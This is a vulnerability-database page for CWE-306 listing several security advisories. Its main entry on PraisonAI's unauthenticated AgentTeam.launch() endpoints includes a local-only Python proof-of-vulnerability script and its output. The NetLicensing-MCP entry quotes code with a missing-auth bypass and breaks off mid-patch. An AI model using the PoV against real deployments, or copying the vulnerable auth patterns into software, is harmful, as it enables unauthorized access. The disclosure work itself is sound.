Common Weakness Enumeration
CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3570 vulnerabilities reference this CWE, most recent first.
GHSA-X8CV-XMQ7-P8XP
Vulnerability from github – Published: 2026-06-18 13:57 – Updated: 2026-07-20 21:24
VLAI
Summary
PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints
Details
PraisonAI AgentTeam.launch() exposes unauthenticated remote agent invocation endpoints
Summary
PraisonAI's documented Python AgentTeam.launch() / Agents.launch() HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement.
The current implementation registers GET /{path}/list, POST /{path}, and POST /{path}/{agent_id} routes. The POST routes directly call agent.chat(...). Requests with no Authorization header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for Agents.launch() is 0.0.0.0, and official documentation shows host="0.0.0.0" for remote access.
This is a sibling/incomplete-fix variant of PraisonAI's prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the AgentTeam.launch() FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release.
This report is scoped to the Python AgentTeam.launch() / Agents.launch() route-registration path. It does not require adjudicating whether the separate praisonai serve agents --api-key CLI path is correctly enforced.
Affected Components
- Package:
praisonaiagents - Current upstream main tested:
2f9677abb2ea68eab864ee8b6a828fd0141612e1 - Latest release tag tested:
v4.6.57 - Primary file:
src/praisonai-agents/praisonaiagents/agents/agents.py - Current line references:
AgentTeam.launch()begins at line 1923; the groupPOSTroute is registered at line 2007; the group handler invokesagent_instance.chat(...)at line 2042; the unauthenticated list route is registered at line 2086; per-agent handlers invokeagent.chat(...)at line 2117. - Primary class/API:
AgentTeam.launch()/ exported aliasAgents - Affected routes:
GET /{path}/list: lists deployed agents.POST /{path}: sequentially invokes all agents in the team.POST /{path}/{agent_id}: invokes a specific agent.
Current vulnerable sink:
@app.post(path)
async def handle_query(request: Request, query_data: Optional[AgentQuery] = None):
...
response = await loop.run_in_executor(
None,
copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)),
)
Per-agent sink:
app.post(agent_path)(create_agent_handler(agent_instance))
...
response = await loop.run_in_executor(
None,
copy_context_to_callable(lambda q=query: agent.chat(q)),
)
List endpoint:
@app.get(f"{path}/list")
async def list_agents():
return {"agents": [{"name": agent.display_name, "id": ...} for agent in self.agents]}
There is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path.
Security Boundary
This is not a trust-model-only report. PraisonAI's own current security documentation says API servers were hardened so that anonymous requests return 401 and API servers bind to 127.0.0.1 by default after the prior unauthenticated API advisory family.
The codebase also contains hardened sibling implementations:
praisonai.deploy.apinow hasAUTH_ENABLED,PRAISONAI_API_TOKEN, generated tokens, and401 Unauthorizedchecks (src/praisonai/praisonai/deploy/api.pylines 44-62 and 69-97).praisonai.gateway.server.WebSocketGatewayvalidates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (src/praisonai/praisonai/gateway/server.pylines 328-424).praisonai callhardening is documented as requiringCALL_SERVER_TOKENor explicit opt-out.
AgentTeam.launch() remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface.
Local-Only Reproduction
Run the local-only PoV script below with current source on PYTHONPATH:
PYTHONPATH="/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai" \
python poc_agentteam_launch_unauth.py
Expected vulnerable result:
[poc] HIT: unauthenticated clients invoked AgentTeam endpoints
Observed on current upstream main:
{
"results": [
{
"body": {
"agents": [
{
"id": "pov_agent",
"name": "pov_agent"
}
]
},
"case": "no_auth_list",
"method": "GET",
"path": "/agents/list",
"status": 200
},
{
"case": "no_auth_group",
"method": "POST",
"path": "/agents",
"status": 200,
"body": {
"final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker",
"query": "marker",
"results": [
{
"agent": "pov_agent",
"response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
}
]
}
},
{
"case": "wrong_bearer_group",
"method": "POST",
"path": "/agents",
"status": 200,
"body": {
"final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker",
"query": "marker",
"results": [
{
"agent": "pov_agent",
"response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
}
]
}
},
{
"case": "no_auth_per_agent",
"method": "POST",
"path": "/agents/pov_agent",
"status": 200,
"body": {
"agent": "pov_agent",
"query": "marker",
"response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
}
}
]
}
The PoV binds to 127.0.0.1, uses a randomly selected local port, stubs agent.chat() to avoid any external LLM provider, and sends only local HTTP requests.
Standalone PoV script:
#!/usr/bin/env python3
"""
Local-only PoV for PRAI-CAND-003.
Starts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed
agent response, then proves both the group endpoint and per-agent endpoint
execute without authentication. No model provider or external network is used.
"""
import json
import socket
import time
import types
import threading
from contextlib import closing
import requests
from praisonaiagents import Agent, Agents
def _free_port() -> int:
with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:
sock.bind(("127.0.0.1", 0))
return sock.getsockname()[1]
def main() -> int:
port = _free_port()
agent = Agent(
name="pov_agent",
role="tester",
goal="test",
backstory="test",
llm=None,
)
def stub_chat(self, query, *args, **kwargs):
return f"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}"
agent.chat = types.MethodType(stub_chat, agent)
team = Agents(agents=[agent])
launch_thread = threading.Thread(
target=lambda: team.launch(path="/agents", port=port, host="127.0.0.1", debug=False),
daemon=True,
)
launch_thread.start()
base = f"http://127.0.0.1:{port}"
for _ in range(40):
try:
response = requests.get(base + "/health", timeout=0.25)
if response.status_code == 200:
break
except Exception:
time.sleep(0.1)
else:
raise SystemExit("[poc] MISS: server did not start")
cases = [
("no_auth_list", "GET", {}, "/agents/list", None),
("no_auth_group", "POST", {}, "/agents", {"query": "marker"}),
(
"wrong_bearer_group",
"POST",
{"Authorization": "Bearer definitely-wrong"},
"/agents",
{"query": "marker"},
),
("no_auth_per_agent", "POST", {}, "/agents/pov_agent", {"query": "marker"}),
]
results = []
for name, method, headers, path, body in cases:
if method == "GET":
response = requests.get(base + path, headers=headers, timeout=5)
else:
response = requests.post(base + path, json=body, headers=headers, timeout=5)
try:
body = response.json()
except Exception:
body = response.text
results.append(
{
"case": name,
"method": method,
"path": path,
"status": response.status_code,
"body": body,
}
)
print(json.dumps({"port": port, "results": results}, indent=2, sort_keys=True))
expected_marker = "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
for result in results:
if result["status"] != 200:
raise SystemExit(f"[poc] MISS: {result['case']} returned {result['status']}")
if result["case"] == "no_auth_list" and "pov_agent" not in json.dumps(result["body"]):
raise SystemExit("[poc] MISS: unauthenticated list endpoint did not expose agent id")
if result["case"] == "no_auth_list":
continue
body_text = json.dumps(result["body"], sort_keys=True)
if expected_marker not in body_text:
raise SystemExit(f"[poc] MISS: marker absent for {result['case']}")
print("[poc] HIT: unauthenticated clients invoked AgentTeam endpoints")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Impact
If an operator follows the documented remote-server pattern and exposes an AgentTeam.launch() server on a reachable interface, any network client can invoke the deployed agents without credentials.
Depending on the deployed agents, an unauthenticated caller may be able to:
- enumerate available agent IDs and names through
GET /{path}/list; - trigger model/API spend by repeatedly invoking agents;
- drive agents connected to local tools, internal APIs, SaaS integrations, browsers, files, or workflow actions;
- trigger side effects through per-agent endpoints even if the operator expected only the team endpoint to be used;
- access responses generated from connected private context, memory, or knowledge sources.
The impact is deployment-dependent, but the missing access control is in the framework's advertised network server path rather than in user application code.
Affected-Version Sweep
Static sweep of release tags shows the unauthenticated AgentTeam.launch() handler and per-agent registration present in:
v4.6.33v4.6.39v4.6.40v4.6.56v4.6.57
The issue remains present on current upstream main 2f9677abb2ea68eab864ee8b6a828fd0141612e1.
The generated deploy API path was hardened between v4.6.33 and v4.6.39, and remains hardened in v4.6.57. This supports the incomplete-fix/sibling-callsite classification: the fix did not cover AgentTeam.launch().
Root Cause
The AgentTeam.launch() FastAPI server is implemented as an independent route-registration path. It does not reuse the hardened API server authentication helper, the gateway bind-aware auth guard, or a shared server-auth policy.
The security-sensitive action is direct invocation of agent.chat() from a network request. The route has no access-control check before that call.
Suggested Fix
Recommended approach:
- Add a shared authentication helper for all network-facing agent invocation servers.
- Make
AgentTeam.launch()fail closed for non-loopback binds unless a token/API key is configured. - Require
Authorization: Bearer <token>or an explicit documented API-key header forPOST /{path},GET /{path}/list, andPOST /{path}/{agent_id}. - Default
AgentTeam.launch()tohost="127.0.0.1"unless an explicit unsafe/remote option plus auth is configured. - Add regression tests proving:
- no token returns
401; - wrong token returns
403; - correct token can list agents;
- correct token can invoke the team endpoint;
- correct token can invoke the per-agent endpoint;
- external bind without auth fails at startup.
If unauthenticated local development remains supported, require loopback binding and a loud explicit unsafe opt-out for externally bound unauthenticated servers.
Severity
Recommended severity: Critical
Rationale:
- Network attack vector: the documented server supports remote access via
0.0.0.0. - Low complexity: a single POST request invokes the agent.
- No privileges: no credentials are required.
- No user interaction: once the server is exposed, the attacker directly sends requests.
- High confidentiality/integrity/availability impact depends on deployed agents and connected tools, but this is the same agent-control class as prior PraisonAI unauthenticated API advisories. The official remote-agent documentation explicitly discusses remote agents with tools, memory, knowledge, and auth headers, so the security-relevant configuration is not hypothetical.
If maintainers want to score based only on minimal agents with no tools and no private context, the lower-bound impact would still include unauthorized remote invocation and model/API spend.
Notes
The direct single-agent Agent.launch() path in current source appears to share the same missing-auth design, but it raises NameError: name '_server_lock' is not defined before serving in the tested local source checkout. This report therefore makes the primary impact claim only for the confirmed working AgentTeam.launch() / Agents.launch() path.
The CLI praisonai serve agents surface advertises a --api-key option and should be reviewed by maintainers when applying a shared fix, but this submission does not depend on a CLI-specific bypass claim.
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57118"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:57:32Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "# PraisonAI `AgentTeam.launch()` exposes unauthenticated remote agent invocation endpoints\n\n## Summary\n\nPraisonAI\u0027s documented Python `AgentTeam.launch()` / `Agents.launch()` HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement.\n\nThe current implementation registers `GET /{path}/list`, `POST /{path}`, and `POST /{path}/{agent_id}` routes. The POST routes directly call `agent.chat(...)`. Requests with no `Authorization` header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for `Agents.launch()` is `0.0.0.0`, and official documentation shows `host=\"0.0.0.0\"` for remote access.\n\nThis is a sibling/incomplete-fix variant of PraisonAI\u0027s prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the `AgentTeam.launch()` FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release.\n\nThis report is scoped to the Python `AgentTeam.launch()` / `Agents.launch()` route-registration path. It does not require adjudicating whether the separate `praisonai serve agents --api-key` CLI path is correctly enforced.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- Current upstream main tested: `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n- Latest release tag tested: `v4.6.57`\n- Primary file: `src/praisonai-agents/praisonaiagents/agents/agents.py`\n- Current line references: `AgentTeam.launch()` begins at line 1923;\n the group `POST` route is registered at line 2007; the group handler invokes\n `agent_instance.chat(...)` at line 2042; the unauthenticated list route is\n registered at line 2086; per-agent handlers invoke `agent.chat(...)` at line\n 2117.\n- Primary class/API: `AgentTeam.launch()` / exported alias `Agents`\n- Affected routes:\n - `GET /{path}/list`: lists deployed agents.\n - `POST /{path}`: sequentially invokes all agents in the team.\n - `POST /{path}/{agent_id}`: invokes a specific agent.\n\nCurrent vulnerable sink:\n\n```python\n@app.post(path)\nasync def handle_query(request: Request, query_data: Optional[AgentQuery] = None):\n ...\n response = await loop.run_in_executor(\n None,\n copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)),\n )\n```\n\nPer-agent sink:\n\n```python\napp.post(agent_path)(create_agent_handler(agent_instance))\n...\nresponse = await loop.run_in_executor(\n None,\n copy_context_to_callable(lambda q=query: agent.chat(q)),\n)\n```\n\nList endpoint:\n\n```python\n@app.get(f\"{path}/list\")\nasync def list_agents():\n return {\"agents\": [{\"name\": agent.display_name, \"id\": ...} for agent in self.agents]}\n```\n\nThere is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path.\n\n## Security Boundary\n\nThis is not a trust-model-only report. PraisonAI\u0027s own current security documentation says API servers were hardened so that anonymous requests return `401` and API servers bind to `127.0.0.1` by default after the prior unauthenticated API advisory family.\n\nThe codebase also contains hardened sibling implementations:\n\n- `praisonai.deploy.api` now has `AUTH_ENABLED`, `PRAISONAI_API_TOKEN`, generated tokens, and `401 Unauthorized` checks (`src/praisonai/praisonai/deploy/api.py` lines 44-62 and 69-97).\n- `praisonai.gateway.server.WebSocketGateway` validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (`src/praisonai/praisonai/gateway/server.py` lines 328-424).\n- `praisonai call` hardening is documented as requiring `CALL_SERVER_TOKEN` or explicit opt-out.\n\n`AgentTeam.launch()` remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface.\n\n## Local-Only Reproduction\n\nRun the local-only PoV script below with current source on `PYTHONPATH`:\n\n```bash\nPYTHONPATH=\"/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai\" \\\n python poc_agentteam_launch_unauth.py\n```\n\nExpected vulnerable result:\n\n```text\n[poc] HIT: unauthenticated clients invoked AgentTeam endpoints\n```\n\nObserved on current upstream main:\n\n```json\n{\n \"results\": [\n {\n \"body\": {\n \"agents\": [\n {\n \"id\": \"pov_agent\",\n \"name\": \"pov_agent\"\n }\n ]\n },\n \"case\": \"no_auth_list\",\n \"method\": \"GET\",\n \"path\": \"/agents/list\",\n \"status\": 200\n },\n {\n \"case\": \"no_auth_group\",\n \"method\": \"POST\",\n \"path\": \"/agents\",\n \"status\": 200,\n \"body\": {\n \"final_response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\",\n \"query\": \"marker\",\n \"results\": [\n {\n \"agent\": \"pov_agent\",\n \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n }\n ]\n }\n },\n {\n \"case\": \"wrong_bearer_group\",\n \"method\": \"POST\",\n \"path\": \"/agents\",\n \"status\": 200,\n \"body\": {\n \"final_response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\",\n \"query\": \"marker\",\n \"results\": [\n {\n \"agent\": \"pov_agent\",\n \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n }\n ]\n }\n },\n {\n \"case\": \"no_auth_per_agent\",\n \"method\": \"POST\",\n \"path\": \"/agents/pov_agent\",\n \"status\": 200,\n \"body\": {\n \"agent\": \"pov_agent\",\n \"query\": \"marker\",\n \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n }\n }\n ]\n}\n```\n\nThe PoV binds to `127.0.0.1`, uses a randomly selected local port, stubs `agent.chat()` to avoid any external LLM provider, and sends only local HTTP requests.\n\nStandalone PoV script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nLocal-only PoV for PRAI-CAND-003.\n\nStarts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed\nagent response, then proves both the group endpoint and per-agent endpoint\nexecute without authentication. No model provider or external network is used.\n\"\"\"\n\nimport json\nimport socket\nimport time\nimport types\nimport threading\nfrom contextlib import closing\n\nimport requests\nfrom praisonaiagents import Agent, Agents\n\n\ndef _free_port() -\u003e int:\n with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:\n sock.bind((\"127.0.0.1\", 0))\n return sock.getsockname()[1]\n\n\ndef main() -\u003e int:\n port = _free_port()\n\n agent = Agent(\n name=\"pov_agent\",\n role=\"tester\",\n goal=\"test\",\n backstory=\"test\",\n llm=None,\n )\n\n def stub_chat(self, query, *args, **kwargs):\n return f\"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}\"\n\n agent.chat = types.MethodType(stub_chat, agent)\n team = Agents(agents=[agent])\n launch_thread = threading.Thread(\n target=lambda: team.launch(path=\"/agents\", port=port, host=\"127.0.0.1\", debug=False),\n daemon=True,\n )\n launch_thread.start()\n\n base = f\"http://127.0.0.1:{port}\"\n for _ in range(40):\n try:\n response = requests.get(base + \"/health\", timeout=0.25)\n if response.status_code == 200:\n break\n except Exception:\n time.sleep(0.1)\n else:\n raise SystemExit(\"[poc] MISS: server did not start\")\n\n cases = [\n (\"no_auth_list\", \"GET\", {}, \"/agents/list\", None),\n (\"no_auth_group\", \"POST\", {}, \"/agents\", {\"query\": \"marker\"}),\n (\n \"wrong_bearer_group\",\n \"POST\",\n {\"Authorization\": \"Bearer definitely-wrong\"},\n \"/agents\",\n {\"query\": \"marker\"},\n ),\n (\"no_auth_per_agent\", \"POST\", {}, \"/agents/pov_agent\", {\"query\": \"marker\"}),\n ]\n results = []\n for name, method, headers, path, body in cases:\n if method == \"GET\":\n response = requests.get(base + path, headers=headers, timeout=5)\n else:\n response = requests.post(base + path, json=body, headers=headers, timeout=5)\n try:\n body = response.json()\n except Exception:\n body = response.text\n results.append(\n {\n \"case\": name,\n \"method\": method,\n \"path\": path,\n \"status\": response.status_code,\n \"body\": body,\n }\n )\n\n print(json.dumps({\"port\": port, \"results\": results}, indent=2, sort_keys=True))\n\n expected_marker = \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n for result in results:\n if result[\"status\"] != 200:\n raise SystemExit(f\"[poc] MISS: {result[\u0027case\u0027]} returned {result[\u0027status\u0027]}\")\n if result[\"case\"] == \"no_auth_list\" and \"pov_agent\" not in json.dumps(result[\"body\"]):\n raise SystemExit(\"[poc] MISS: unauthenticated list endpoint did not expose agent id\")\n if result[\"case\"] == \"no_auth_list\":\n continue\n body_text = json.dumps(result[\"body\"], sort_keys=True)\n if expected_marker not in body_text:\n raise SystemExit(f\"[poc] MISS: marker absent for {result[\u0027case\u0027]}\")\n\n print(\"[poc] HIT: unauthenticated clients invoked AgentTeam endpoints\")\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n## Impact\n\nIf an operator follows the documented remote-server pattern and exposes an `AgentTeam.launch()` server on a reachable interface, any network client can invoke the deployed agents without credentials.\n\nDepending on the deployed agents, an unauthenticated caller may be able to:\n\n- enumerate available agent IDs and names through `GET /{path}/list`;\n- trigger model/API spend by repeatedly invoking agents;\n- drive agents connected to local tools, internal APIs, SaaS integrations, browsers, files, or workflow actions;\n- trigger side effects through per-agent endpoints even if the operator expected only the team endpoint to be used;\n- access responses generated from connected private context, memory, or knowledge sources.\n\nThe impact is deployment-dependent, but the missing access control is in the framework\u0027s advertised network server path rather than in user application code.\n\n## Affected-Version Sweep\n\nStatic sweep of release tags shows the unauthenticated `AgentTeam.launch()` handler and per-agent registration present in:\n\n- `v4.6.33`\n- `v4.6.39`\n- `v4.6.40`\n- `v4.6.56`\n- `v4.6.57`\n\nThe issue remains present on current upstream main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`.\n\nThe generated deploy API path was hardened between `v4.6.33` and `v4.6.39`, and remains hardened in `v4.6.57`. This supports the incomplete-fix/sibling-callsite classification: the fix did not cover `AgentTeam.launch()`.\n\n## Root Cause\n\nThe `AgentTeam.launch()` FastAPI server is implemented as an independent route-registration path. It does not reuse the hardened API server authentication helper, the gateway bind-aware auth guard, or a shared server-auth policy.\n\nThe security-sensitive action is direct invocation of `agent.chat()` from a network request. The route has no access-control check before that call.\n\n## Suggested Fix\n\nRecommended approach:\n\n1. Add a shared authentication helper for all network-facing agent invocation servers.\n2. Make `AgentTeam.launch()` fail closed for non-loopback binds unless a token/API key is configured.\n3. Require `Authorization: Bearer \u003ctoken\u003e` or an explicit documented API-key header for `POST /{path}`, `GET /{path}/list`, and `POST /{path}/{agent_id}`.\n4. Default `AgentTeam.launch()` to `host=\"127.0.0.1\"` unless an explicit unsafe/remote option plus auth is configured.\n5. Add regression tests proving:\n - no token returns `401`;\n - wrong token returns `403`;\n - correct token can list agents;\n - correct token can invoke the team endpoint;\n - correct token can invoke the per-agent endpoint;\n - external bind without auth fails at startup.\n\nIf unauthenticated local development remains supported, require loopback binding and a loud explicit unsafe opt-out for externally bound unauthenticated servers.\n\n## Severity\n\nRecommended severity: Critical\n\nRationale:\n\n- Network attack vector: the documented server supports remote access via `0.0.0.0`.\n- Low complexity: a single POST request invokes the agent.\n- No privileges: no credentials are required.\n- No user interaction: once the server is exposed, the attacker directly sends requests.\n- High confidentiality/integrity/availability impact depends on deployed agents and connected tools, but this is the same agent-control class as prior PraisonAI unauthenticated API advisories. The official remote-agent documentation explicitly discusses remote agents with tools, memory, knowledge, and auth headers, so the security-relevant configuration is not hypothetical.\n\nIf maintainers want to score based only on minimal agents with no tools and no private context, the lower-bound impact would still include unauthorized remote invocation and model/API spend.\n\n## Notes\n\nThe direct single-agent `Agent.launch()` path in current source appears to share the same missing-auth design, but it raises `NameError: name \u0027_server_lock\u0027 is not defined` before serving in the tested local source checkout. This report therefore makes the primary impact claim only for the confirmed working `AgentTeam.launch()` / `Agents.launch()` path.\n\nThe CLI `praisonai serve agents` surface advertises a `--api-key` option and should be reviewed by maintainers when applying a shared fix, but this submission does not depend on a CLI-specific bypass claim.",
"id": "GHSA-x8cv-xmq7-p8xp",
"modified": "2026-07-20T21:24:21Z",
"published": "2026-06-18T13:57:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints"
}
GHSA-X8WR-6Q4X-7843
Vulnerability from github – Published: 2026-07-16 21:30 – Updated: 2026-07-16 21:30
VLAI
Details
EQ-3 Eqiva CC-RT-BLE Bluetooth Smart Radiator Thermostat Firmware up to the latest version 1.46 was discovered to allow unsecured bluetooth connections. This vulnerability allows attackers to gain full access to the device without authentication.
Severity
7.1 (High)
{
"affected": [],
"aliases": [
"CVE-2024-34268"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-16T21:17:18Z",
"severity": "HIGH"
},
"details": "EQ-3 Eqiva CC-RT-BLE Bluetooth Smart Radiator Thermostat Firmware up to the latest version 1.46 was discovered to allow unsecured bluetooth connections. This vulnerability allows attackers to gain full access to the device without authentication.",
"id": "GHSA-x8wr-6q4x-7843",
"modified": "2026-07-16T21:30:38Z",
"published": "2026-07-16T21:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34268"
},
{
"type": "WEB",
"url": "https://www.bdosecurity.de/de-de/advisories/cve-2024-34268"
},
{
"type": "WEB",
"url": "https://www.eq-3.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-X94J-MC2F-6995
Vulnerability from github – Published: 2023-03-14 06:30 – Updated: 2023-03-16 21:30
VLAI
Details
Due to insufficient input sanitization, SAP ABAP - versions 751, 753, 753, 754, 756, 757, 791, allows an authenticated high privileged user to alter the current session of the user by injecting the malicious database queries over the network and gain access to the unintended data. This may lead to a high impact on the confidentiality and no impact on the availability and integrity of the application.
Severity
4.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-25615"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-14T05:15:00Z",
"severity": "MODERATE"
},
"details": "Due to insufficient input sanitization, SAP ABAP - versions 751, 753, 753, 754, 756, 757, 791, allows an authenticated high privileged user to alter the current session of the user by injecting the malicious database queries over the network and gain access to the unintended data. This may lead to a high impact on the confidentiality and no impact on the availability and integrity of the application.",
"id": "GHSA-x94j-mc2f-6995",
"modified": "2023-03-16T21:30:17Z",
"published": "2023-03-14T06:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25615"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3289844"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X94P-26XF-7J8G
Vulnerability from github – Published: 2022-08-11 00:00 – Updated: 2022-08-11 00:00
VLAI
Details
The KUKA SystemSoftware V/KSS in versions prior to 8.6.5 is prone to improper access control as an unauthorized attacker can directly read and write robot configurations when access control is not available or not enabled (default).
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2022-2242"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-10T11:15:00Z",
"severity": "CRITICAL"
},
"details": "The KUKA SystemSoftware V/KSS in versions prior to 8.6.5 is prone to improper access control as an unauthorized attacker can directly read and write robot configurations when access control is not available or not enabled (default).",
"id": "GHSA-x94p-26xf-7j8g",
"modified": "2022-08-11T00:00:38Z",
"published": "2022-08-11T00:00:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2242"
},
{
"type": "WEB",
"url": "https://www.kuka.com/advisories-CVE-2022-2242"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X9VC-9FFQ-P3GJ
Vulnerability from github – Published: 2026-07-14 20:47 – Updated: 2026-07-14 20:47
VLAI
Summary
NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
Details
Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
Summary
When netlicensing-mcp is run in HTTP transport mode, the ApiKeyMiddleware fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (server.py:1427). The downstream HTTP client then falls back to the server operator's NETLICENSING_API_KEY environment variable (client.py:30) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: 8.1 (High).
Details
The HTTP transport is started in src/netlicensing_mcp/server.py around line 1430 via mcp.streamable_http_app(), and ApiKeyMiddleware is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the x-netlicensing-api-key header or the ?apikey= query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls return await call_next(request) (line 1427), passing the unauthenticated request downstream.
The downstream client module (src/netlicensing_mcp/client.py) uses a Python ContextVar named api_key_ctx with a default of os.getenv("NETLICENSING_API_KEY", "") (line 30). Because the middleware never sets this context variable for unauthenticated requests, api_key_ctx.get() returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (lines 62–70) and transmits it to the upstream NetLicensing REST API on every request (lines 105, 109).
The complete exploitable data flow is:
| Step | Location | Description |
|---|---|---|
| 1 | server.py:1430 |
HTTP app created with mcp.streamable_http_app() |
| 2 | server.py:1431 |
ApiKeyMiddleware registered |
| 3 | server.py:1412–1419 |
Middleware attempts (optional) key extraction from headers/query |
| 4 | server.py:1427 |
Auth bypass sink: missing key → return await call_next(request) |
| 5 | server.py:155–163 |
Unauthenticated caller invokes netlicensing_list_products (or any tool) |
| 6 | tools/products.py:9,17 |
Tool delegates to nl_get("/product", ...) |
| 7 | client.py:30 |
Source: api_key_ctx defaults to NETLICENSING_API_KEY env var |
| 8 | client.py:62–70 |
Authorization: Basic base64("apiKey:<key>") constructed |
| 9 | client.py:105,109 |
Upstream sink: client.get(url, headers=_headers(), ...) executed |
Critical code excerpts:
# src/netlicensing_mcp/server.py
1418: if not key:
1419: key = request.query_params.get("apikey")
1421: if key:
1422: token = api_key_ctx.set(key)
...
1427: return await call_next(request) # <-- no rejection when key is absent
# src/netlicensing_mcp/client.py
30: "api_key", default=os.getenv("NETLICENSING_API_KEY", "") # server-side fallback
...
64: auth_str = f"apiKey:{api_key}"
70: "Authorization": f"Basic {token}",
...
109: r = await client.get(url, headers=_headers(), params=params or {})
The README (README.md:90–94) documents the HTTP mode deployment pattern with -e NETLICENSING_API_KEY=your_key as a first-class production deployment option, including AWS App Runner / ELB examples (README.md:310–318). The per-client key recommendation (README.md:318) is advisory only and is not technically enforced.
A suggested patch replaces the unconditional pass-through with a 401 rejection:
--- a/src/netlicensing_mcp/server.py
+++ b/src/netlicensing_mcp/server.py
@@
class ApiKeyMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request: Request, call_next):
+ if request.url.path == "/health":
